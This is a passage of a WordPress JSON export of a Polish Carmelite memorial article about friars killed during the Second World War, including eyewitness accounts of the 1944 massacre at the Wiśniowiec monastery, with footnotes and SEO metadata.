Zapowiedzi\u0105 zbli\u017caj\u0105cego si\u0119 dla naszych Wsp\u00f3\u0142braci nieszcz\u0119\u015bcia by\u0142o wymordowanie 16 lipca 1944 r., tj. w uroczysto\u015b\u0107 Matki Boskiej Szkaplerznej, wsi Mani\u00f3w, nale\u017c\u0105cej do prowadzonej przez nich parafii wi\u015bniowieckiej. Rze\u017a, jak wsz\u0119dzie, by\u0142a tam bardzo okrutna. Zw\u0142aszcza z m\u0142odzie\u017c\u0105 polsk\u0105 obchodzono si\u0119 okropnie. Oto zeznania naocznych \u015bwiadk\u00f3w: “Wielu \u017cywcem spalono, dzieci \u017cywcem rozdzierano i na pal wbijano. Wiele niewiast skaleczono w bestialski spos\u00f3b”\u00a0(4). Odt\u0105d chc\u0105c ratowa\u0107 \u017cycie, ludzie chronili si\u0119 na noc do naszego wi\u015bniowieckiego klasztoru. Bezpiecze\u0144stwa dodawa\u0142 jeszcze oddzia\u0142 wojskowy W\u0119gr\u00f3w stacjonuj\u0105cy w zamku Wi\u015bniowieckich. Oni to, z wrodzonej ku Polakom \u017cyczliwo\u015bci, odp\u0119dzali broni\u0105 bandy ukrai\u0144skie, kiedy si\u0119 pokazywa\u0142y w okolicy klasztoru lub zamku.<\/p>\n

O. Kamil namawia\u0142 ludzi, aby wyje\u017cd\u017cali do Polski centralnej, tj. do Generalnego Gubernatorstwa. Jednak niewielu mog\u0142o to uczyni\u0107 i niewielu chcia\u0142o opuszcza\u0107 swe rodzinne gniazda. Dla nich to przede wszystkim chcia\u0142 zosta\u0107 na posterunku o. Kamil, szczeg\u00f3lnie dlatego, \u017ce by\u0142 jedynym na ca\u0142\u0105 okolic\u0119 kap\u0142anem. Nie chcia\u0142 zatem zostawia\u0107 wiernych bez opieki duchowej. W listopadzie 1943 r. brat Cyprian pisa\u0142 do o. Boles\u0142awa Sadowskiego, przeora we Lwowie: “Gdy zacz\u0119to pali\u0107 wsie nale\u017c\u0105ce do Wi\u015bniowca, ludno\u015b\u0107 katolicka uciek\u0142a do nas, na podw\u00f3rze klasztorne, gdzie od 16 lipca sypiaj\u0105 a\u017c dot\u0105d. Na podw\u00f3rzu gotuj\u0105 i koczuj\u0105 jak Cyganie – przesz\u0142o 800 os\u00f3b… Na nasz ko\u015bci\u00f3\u0142 by\u0142y ju\u017c dwa razy napady nocne w sile 500 bandyt\u00f3w, jeden w lipcu, drugi 4 pa\u017adziernika. Obydwa zosta\u0142y odparte, lecz strzelaj\u0105c z armat na ko\u015bci\u00f3\u0142, ten\u017ce zosta\u0142 uszkodzony. Klasztor od dnia 20 lipca zosta\u0142 obr\u00f3cony na miejscowy szpital…”\u00a0(5). S\u0105 to ostatnie wiadomo\u015bci od br. Cypriana. W takim stanie dotrwano a\u017c do lutego 1944 roku. Kiedy w pierwszych dniach tego miesi\u0105ca W\u0119grzy podj\u0119li decyzj\u0119 o opuszczeniu Wi\u015bniowca, o. Kamil, zach\u0119cony przez ich kapelana, zgodzi\u0142 si\u0119 na wyjazd. Od W\u0119gr\u00f3w otrzyma\u0142 dwa samochody, aby za\u0142adowa\u0107 na nie wraz z br. Cyprianem rzeczy ko\u015bcielne. Jednak wkr\u00f3tce, po otrzymaniu w nocy listu od jakiego\u015b Ukrai\u0144ca, w kt\u00f3rym go namawiano, by zakonnicy zostali w Wi\u015bniowcu, zmieni\u0142 zdanie. Niestety, jak si\u0119 p\u00f3\u017aniej okaza\u0142o, list by\u0142 narz\u0119dziem zasadzki. Wojsko w\u0119gierskie wyjecha\u0142o z Wi\u015bniowca dnia 7 lutego 1944 r. w po\u0142udnie. Nad Wi\u015bniowcem zapanowa\u0142a jaka\u015b z\u0142owroga cisza. Wnet zapad\u0142a mro\u017ana noc, a o. Kamil, zm\u0119czony, wcze\u015bniej si\u0119 uda\u0142 na spoczynek. Jednak ju\u017c oko\u0142o godz. 21.00 obudzi\u0142 go organista, donosz\u0105c, \u017ce Ukrai\u0144cy wywa\u017cyli ju\u017c zewn\u0119trzne drzwi przy pomocy siekiery i \u0142omu i \u017ce wdzieraj\u0105 si\u0119 do klasztoru. O. Kamil wyszed\u0142 do nich, a oni za\u017c\u0105dali od niego lampy i kluczy od piwnicy, twierdz\u0105c, \u017ce tam jest bro\u0144. O. Kamil – jak zezna\u0142a Maria Ciesielska, matka organisty, kt\u00f3ra ukry\u0142a si\u0119 w szopie – spokojnie t\u0142umaczy\u0142, \u017ce tam s\u0105 tylko ziemniaki, ale Ukrai\u0144cy natarczywie \u017c\u0105dali, by szed\u0142 z nimi. O. Kamil id\u0105c z nimi do piwnicy, a wiedz\u0105c zapewne czym si\u0119 to sko\u0144czy, spokojnie im t\u0142umaczy\u0142, \u017ce w piwnicy nic nie ma. Po wej\u015bciu do piwnicy da\u0142 si\u0119 s\u0142ysze\u0107 krzyk o. Kamila: “Jezu” i rozleg\u0142 si\u0119 strza\u0142. To by\u0142o has\u0142o mordu. Po o. Kamilu wywleczono br. Cypriana, kt\u00f3ry usi\u0142owa\u0142 si\u0119 schroni\u0107 do szpitala b\u0119d\u0105cego w budynku klasztornym, ale go tam nie puszczono. Zosta\u0142 on zamordowany jako drugi z kolei w piwnicy. Jako trzeciego zamordowali Ukrai\u0144cy organist\u0119 – p. Franciszka Ciesielskiego. I tak przez trzy godziny wyprowadzano m\u0119\u017cczyzn z klasztoru i mordowano ich w piwnicy z najwi\u0119kszym sadyzmem i okrucie\u0144stwem. Ko\u0142o p\u00f3\u0142nocy sp\u0119dzono do drugiej piwnicy wszystkie kobiety i dzieci i wrzucono tam na nich trzy granaty. Kiedy rano Maria Ciesielska posz\u0142a do piwnic, zobaczy\u0142a jeszcze stos cia\u0142 drgaj\u0105cych w konwulsjach \u015bmiertelnych. “Z g\u0142\u0119bi piwnicy dochodzi\u0142 jaki\u015b dzieci\u0119cy g\u0142os… By\u0142 to g\u0142os ma\u0142ej, mo\u017ce o\u015bmioletniej dziewczynki, kt\u00f3ra siedz\u0105c na stosie trup\u00f3w, z oczami spuszczonymi w d\u00f3\u0142, trz\u0119s\u0105c si\u0119 z zimna, szepta\u0142a:\u00a0pani mi \u017ale po\u015bcieli\u0142a, pani mi \u017ale po\u015bcieli\u0142a!<\/i>\u00a0Maria nie mog\u0142a pospieszy\u0107 dziewczynce z pomoc\u0105, bo w tej\u017ce chwili do lochu wpad\u0142 Ukrainiec krzycz\u0105c:\u00a0szczo wy tu!<\/i>\u00a0i wyp\u0119dzi\u0142 j\u0105 na zewn\u0105trz. Wo\u0142anie dziecka spotka\u0142o si\u0119 z oboj\u0119tno\u015bci\u0105 ciemnego lochu… Akcja niszczenia trwa\u0142a tam jeszcze dalej. Napastnicy obrabowali klasztor i ko\u015bci\u00f3\u0142, a w ko\u0144cu nawie\u017ali do \u015bwi\u0105tyni s\u0142omy i 9 lutego podpalili j\u0105 i zniszczyli zupe\u0142nie. Wielu spo\u015br\u00f3d Polak\u00f3w, kt\u00f3rzy wczorajszego dnia zdo\u0142ali uciec, dzisiaj schwytano i wrzucono do studni…\u00a0(6).<\/p>\n

Po kilku tygodniach armia sowiecka zaj\u0119\u0142a Wi\u015bniowiec. Polacy, kt\u00f3rym uda\u0142o si\u0119 prze\u017cy\u0107 t\u0119 gehenn\u0119, wyszli z ukrycia i donie\u015bli w\u0142adzom o zbrodni dokonanej w klasztorze. Dnia 26 kwietnia 1944 r. dokonano ekshumacji zw\u0142ok pomordowanych. Rozpoznano o. Kamila i br. Cypriana. Tego\u017c dnia zw\u0142oki wszystkich zosta\u0142y pochowane na cmentarzu wi\u015bniowieckim, ale bez trumien. Cia\u0142o o. Kamila z\u0142o\u017cono na samym wierzchu.<\/p>\n


\n

(1) Benignus J. Wanat,\u00a0Zakon Karmelit\u00f3w Bosych w Polsce<\/i>, Krak\u00f3w 1979, ss. 500-505.
\n(2)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, Krak\u00f3w 1998, s. 105. Zob. tak\u017ce:\u00a0Camillus a S. Silvestro. Martirologio Carmelitano<\/i>. W: Simeone della Sacra Famiglia,\u00a0Un quarto de secolo tra i nostri Santi<\/i>, Roma 1997, s. 510.
\n(3) Tam\u017ce, s. 105-106. Por.:\u00a0Cyprianus a S. Michaele. Martirologio Carmelitano<\/i>, dz. cyt., s. 510.
\n(4)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, s. 109.
\n(5) Benignus J. Wanat,\u00a0Zakon Karmelit\u00f3w Bosych w Polsce<\/i>, s. 502.
\n(6) Tam\u017ce, s. 504.<\/p>\n

<\/p>\n

Ofiary faszyzmu hitlerowskiego<\/b><\/h4>\n

Podczas II wojny \u015bwiatowej kilku polskich karmelit\u00f3w bosych odda\u0142o te\u017c \u017cycie, jako ofiary hitleryzmu. Trzech na terenach wschodnich, a dw\u00f3ch w okolicy Czernej pod Krakowem. Zacznijmy od tych pierwszych. Chodzi wi\u0119c przede wszystkim o konwentualnych klasztoru wile\u0144skiego, ojc\u00f3w Fidelisa od \u015bw. Teresy od Dzieci\u0105tka Jezus (Teofila Krawca) i o. Gracjana od \u015bw. N.M. Teresy (W\u0142adys\u0142awa G\u0142owacza).<\/p>\n

Pierwszy z nich, o. Fidelis, urodzi\u0142 si\u0119 w Su\u0142oszowej 12 grudnia 1907 r. Dwadzie\u015bcia lat p\u00f3\u017aniej z\u0142o\u017cy\u0142 pierwsz\u0105 profesj\u0119 zakonn\u0105 w Karmelu a 29 czerwca 1933 r. przyj\u0105\u0142 \u015bwi\u0119cenia kap\u0142a\u0144skie. Pracowa\u0142 w Wilnie, w Wadowicach i znowu w Wilnie, jako wikariusz przy parafii ostrobramskiej.<\/p>\n

Z kolei o. Gracjan urodzi\u0142 si\u0119 1 stycznia 1915 r. w Przeciszowie ko\u0142o O\u015bwi\u0119cimia. Do zakonu wst\u0105pi\u0142 w 1932 r., a \u015bwi\u0119cenia otrzyma\u0142 w 9 lipca 1939 r. Po prymicjach zaraz zosta\u0142 przeniesiony do Wilna i tam zasta\u0142a go wojna.<\/p>\n

Kiedy w 1941 r. Niemcy w czasie wojny z Rosj\u0105 zaj\u0119li tereny wschodnie, ludzie szli czasem po dwie\u015bcie kilometr\u00f3w do Wilna, by szuka\u0107 pociechy religijnej i przyst\u0105pi\u0107 do sakrament\u00f3w \u015bwi\u0119tych. Wtedy te\u017c abp Romuald Ja\u0142brzykowski, metropolita wile\u0144ski, otrzyma\u0142 od nuncjusza papieskiego z Berlina szerokie upowa\u017cnienia nad tymi terenami i zarz\u0105dzi\u0142, by cho\u0107 jaka\u015b grupa kap\u0142an\u00f3w uda\u0142a si\u0119 za dawn\u0105 granic\u0119 polsk\u0105, by tam nie\u015b\u0107 wiernym pomoc religijn\u0105. Z klasztoru ostrobramskiego zostali na to wyznaczeni o. Fidelis i o. Gracjan. Wyjechali na wskazane sobie plac\u00f3wki 2 listopada 1941 r. Obj\u0119li piecz\u0119 nad kilkoma parafiami za Berezyn\u0105. Dalsze wie\u015bci o nich – jak pisze o. Kajetan – nie s\u0105 zupe\u0142nie pewne, ale opieraj\u0105 si\u0119 na pos\u0142yszanych wiadomo\u015bciach. Sta\u0142o si\u0119 to dlatego, \u017ce ju\u017c w roku 1942 zacz\u0119\u0142y si\u0119 w tych stronach rozruchy, nagonka na Polak\u00f3w oraz cz\u0119ste mordy. Partyzantka rozwin\u0119\u0142a na dobre swoj\u0105 dzia\u0142alno\u015b\u0107. “Te rozruchy przerwa\u0142y \u0142\u0105czno\u015b\u0107 mi\u0119dzy naszymi klasztorami w Miadziole i w Wilnie a o. Fidelisem i o. Gracjanem. Nadto nasi ojcowie wile\u0144scy zostali aresztowani przez Niemc\u00f3w i wywiezieni do oboz\u00f3w w Sza\u0142tupiu i w Poniewie\u017cyku. Podobno o. Fidelis pisa\u0142 do wsp\u00f3\u0142braci skrytych w Wilnie:\u00a0Moja droga, albo tam gdzie moi bracia poszli, albo na Ross\u0119<\/i>, tzn. albo do wi\u0119zienia, albo na \u015bmier\u0107. Po przej\u015bciu frontu w roku 1943 dosz\u0142y wie\u015bci \u017ce ks. Zienkiewicz, dziekan z G\u0142\u0119bokiego, ma u siebie przybory liturgiczne po tych Ojcach. Podobno Niemcy mieli ich aresztowa\u0107, a potem gdzie\u015b wywie\u017a\u0107 i straci\u0107. (…) Takie wie\u015bci dosz\u0142y potem do Wilna, ale zupe\u0142nej pewno\u015bci nie ma, jak\u0105 \u015bmierci\u0105 zgin\u0119li. Jedno chyba pewne, \u017ce oddali swoje \u017cycie jako misjonarze. Szli bowiem z pos\u0142ug\u0105 duchown\u0105, szli g\u0142osi\u0107 Chrystusa i spe\u0142nia\u0107 pos\u0142annictwo kap\u0142a\u0144skie w warunkach chyba ci\u0119\u017cszych ni\u017c niejedni misjonarze. Ufa\u0107 zatem nale\u017cy, \u017ce ich praca i krew m\u0119cze\u0144ska zosta\u0142a ju\u017c nagrodzona przez Boga chwa\u0142\u0105 wieczn\u0105. Krew ich za\u015b stanie si\u0119 na pewno posiewem wiary w Chrystusa na tych ziemiach w przysz\u0142o\u015bci”\u00a0(1).<\/p>\n

Do grona wsp\u00f3\u0142braci Prowincji Polskiej, kt\u00f3rzy oddali swe \u017cycie w czasie wojny, jakkolwiek nie bezpo\u015brednio z r\u0105k Niemc\u00f3w, ale w wyniku wywo\u0142anej przez nich zawieruchy wojennej, nale\u017cy tak\u017ce o. Anatol od Niepokalanego Pocz\u0119cia N.M.P. (Stefan Radkiewicz). Przyszed\u0142 on na \u015bwiat w Michnowiczach w diecezji pi\u0144skiej 2 wrze\u015bnia 1912 r. W 1932 r. przyj\u0105\u0142 habit zakonny. \u015awi\u0119cenia kap\u0142a\u0144skie otrzyma\u0142 9 lipca 1939 r. w Krakowie. Nied\u0142ugo potem, bo w po\u0142owie wrze\u015bnia tego\u017c roku, uchodz\u0105c na wsch\u00f3d przed Niemcami, dosta\u0142 si\u0119 do Lwowa. Potem uda\u0142 si\u0119 do Wi\u015bniowca, gdzie przebywa\u0142 jaki\u015b czas z polecenia prowincja\u0142a. Jednak p\u00f3\u017aniej chcia\u0142 dotrze\u0107 do Wilna lub, jak inni twierdzili, w rodzinne strony, by stamt\u0105d \u0142atwiej przej\u015b\u0107 granic\u0119 i wr\u00f3ci\u0107 do Polski. Niestety, w czasie tej podr\u00f3\u017cy zosta\u0142 schwytany, aresztowany i wywieziony do Rosji. Kiedy potem zosta\u0142 zwolniony, a w Rosji zacz\u0119\u0142y si\u0119 tworzy\u0107 formacje wojskowe polskie, zosta\u0142 przydzielony jako kapelan szpitala wojskowego. Pe\u0142ni\u0105c ten obowi\u0105zek, zarazi\u0142 si\u0119 i zmar\u0142 przy kt\u00f3rym\u015b ze szpitali w Rosji 29 lutego 1942 roku. Wiadomo\u015b\u0107 o tym Zakon otrzyma\u0142 przez Watyka\u0144ski Sekretariat Stanu. W telegramie Stolicy Apostolskiej czytamy: “Przewielebny Ojcze Generale! Ze smutkiem donosz\u0119 Waszej Wielebno\u015bci, \u017ce wed\u0142ug wiadomo\u015bci otrzymanych przez nasz Sekretariat, Wielebny O. Stefan Radkiewicz, wpierw jeniec (wi\u0119zie\u0144) w Rosji, potem uwolniony i przydzielony jako kapelan wojskowy do szpitala chor\u00f3b zaka\u017anych na tym\u017ce terenie Zwi\u0105zku Sowieckiego, zmar\u0142 tam\u017ce 29 lutego 1942 r. Korzystam z okazji, by wyrazi\u0107 moje najwi\u0119ksze uszanowanie Waszej Wielebno\u015bci. Oddany w Panu L. Kardyna\u0142 Maglione. Z Watykanu, 19 grudnia 1942 r.”.<\/p>\n

W\u00a0Ksi\u0119dze Zmar\u0142ych<\/i>\u00a0w odniesieniu do o. Anatola czytamy: “By\u0142 on pierwsz\u0105 ofiar\u0105 wojny, jak\u0105 z\u0142o\u017cy\u0142 polski Karmel w tym okresie. Zmar\u0142 w trzydziestym roku \u017cycia, a dziewi\u0105tym profesji. Kap\u0142a\u0144stwa za\u015b liczy\u0142 niespe\u0142na trzy lata i to jeszcze niewiele m\u00f3g\u0142 zrobi\u0107 w tym czasie. A mo\u017ce tam gdzie\u015b by\u0142 potrzebny, by zbawi\u0107 dusze, kt\u00f3re mo\u017ce najbardziej potrzebowa\u0142y pomocy kap\u0142a\u0144skiej?”\u00a0(2).<\/p>\n

M\u0119czennikami hitleryzmu, zastrzelonymi przez Niemc\u00f3w w 1944 r. pod Krakowem byli nadto br. Jerzy od Dzieci\u0105tka Jezus (Franciszek Powiertowski), nowicjusz z klasztoru czerne\u0144skiego i o. Alfons Maria od Ducha \u015awi\u0119tego (J\u00f3zef Mazurek), przeor tego\u017c czerne\u0144skiego klasztoru. Obydwaj zgin\u0119li w sierpniu: pierwszy 24 w lesie siedleckim, a drugi 28 w Nawojowej G\u00f3rze. O. Alfons zosta\u0142 beatyfikowany przez Jana Paw\u0142a II w czerwcu 1999 r. wraz z innymi 107. m\u0119czennikami II wojny \u015bwiatowej, w tzw. procesie w\u0142oc\u0142awskim. Br. Franciszek zosta\u0142 w\u0142\u0105czony do procesu beatyfikacyjnego drugiej grupy m\u0119czennik\u00f3w faszyzmu, prowadzonego przez diecezj\u0119 pelpli\u0144sk\u0105.<\/p>\n


\n

(1)\u00a0Ksi\u0119ga zmar\u0142ych<\/i>, s. 97.
\n(2) Tam\u017ce, s. 94.<\/p>\n","protected":false},"excerpt":{"rendered":"

o. Szczepan Pra\u015bkiewicz OCD M\u0119czennicy Polskiego Karmelu Terezja\u0144skiego w pierwszym czterechsetleciu jego historii 1605-2005. W przeci\u0105gu minionych czterech wiek\u00f3w od przybycia karmelit\u00f3w bosych do Polski wielu [\u2026]<\/span><\/p>\n","protected":false},"author":4,"featured_media":17564,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[120],"tags":[],"class_list":["post-17562","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lektorium"],"yoast_head":"\nWierni Chrystusowi - Karmel.pl<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.karmel.pl\/wierni-chrystusowi\/\" \/>\n<link rel=\"next\" href=\"https:\/\/www.karmel.pl\/wierni-chrystusowi\/2\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Wierni Chrystusowi - Karmel.pl\" \/>\n<meta property=\"og:description\" content=\"o. Szczepan Pra\u015bkiewicz OCD M\u0119czennicy Polskiego Karmelu Terezja\u0144skiego w pierwszym czterechsetleciu jego historii 1605-2005. W przeci\u0105gu minionych czterech wiek\u00f3w od przybycia karmelit\u00f3w bosych do Polski wielu [\u2026]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.karmel.pl\/wierni-chrystusowi\/\" \/>\n<meta property=\"og:site_name\" content=\"Karmel - Karmelici Bosi\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/karmel.bosi\/\" \/>\n<meta property=\"article:published_time\" content=\"2017-06-01T12:48:42+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2017-07-10T08:09:34+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/karmel-meczennicy.jpg?fit=1200%2C800&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"800\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mariusz W\u00f3jtowicz\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mariusz W\u00f3jtowicz\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"24 minuty\" \/>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Wierni Chrystusowi - Karmel.pl","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/","next":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/2\/","og_locale":"pl_PL","og_type":"article","og_title":"Wierni Chrystusowi - Karmel.pl","og_description":"o. Szczepan Pra\u015bkiewicz OCD M\u0119czennicy Polskiego Karmelu Terezja\u0144skiego w pierwszym czterechsetleciu jego historii 1605-2005. W przeci\u0105gu minionych czterech wiek\u00f3w od przybycia karmelit\u00f3w bosych do Polski wielu [\u2026]","og_url":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/","og_site_name":"Karmel - Karmelici Bosi","article_publisher":"https:\/\/www.facebook.com\/karmel.bosi\/","article_published_time":"2017-06-01T12:48:42+00:00","article_modified_time":"2017-07-10T08:09:34+00:00","og_image":[{"width":1200,"height":800,"url":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/karmel-meczennicy.jpg?fit=1200%2C800&ssl=1","type":"image\/jpeg"}],"author":"Mariusz W\u00f3jtowicz","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Mariusz W\u00f3jtowicz","Szacowany czas czytania":"24 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/","url":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/","name":"Wierni Chrystusowi - Karmel.pl","isPartOf":{"@id":"https:\/\/www.karmel.pl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/#primaryimage"},"image":{"@id":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/karmel-meczennicy.jpg?fit=1200%2C800&ssl=1","datePublished":"2017-06-01T12:48:42+00:00","dateModified":"2017-07-10T08:09:34+00:00","author":{"@id":"https:\/\/www.karmel.pl\/#\/schema\/person\/15284e11d07bb4419a99c261d1ff1db7"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.karmel.pl\/wierni-chrystusowi\/"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.karmel.pl\/wierni-chrystusowi\/#primaryimage","url":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/karmel-meczennicy.jpg?fit=1200%2C800&ssl=1","contentUrl":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/karmel-meczennicy.jpg?fit=1200%2C800&ssl=1","width":1200,"height":800},{"@type":"WebSite","@id":"https:\/\/www.karmel.pl\/#website","url":"https:\/\/www.karmel.pl\/","name":"Karmel - Karmelici Bosi","description":"Oficjalna witryna Krakowskiej Prowincji Zakonu Karmelit\u00f3w Bosych.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.karmel.pl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.karmel.pl\/#\/schema\/person\/15284e11d07bb4419a99c261d1ff1db7","name":"Mariusz W\u00f3jtowicz","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.karmel.pl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d0c6c8d2acc275cbd780ce4bfe9014f8?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d0c6c8d2acc275cbd780ce4bfe9014f8?s=96&d=mm&r=g","caption":"Mariusz W\u00f3jtowicz"}}]}},"jetpack_featured_media_url":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/karmel-meczennicy.jpg?fit=1200%2C800&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p900mA-4zg","_links":{"self":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts\/17562"}],"collection":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/comments?post=17562"}],"version-history":[{"count":0,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts\/17562\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/media\/17564"}],"wp:attachment":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/media?parent=17562"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/categories?post=17562"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/tags?post=17562"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}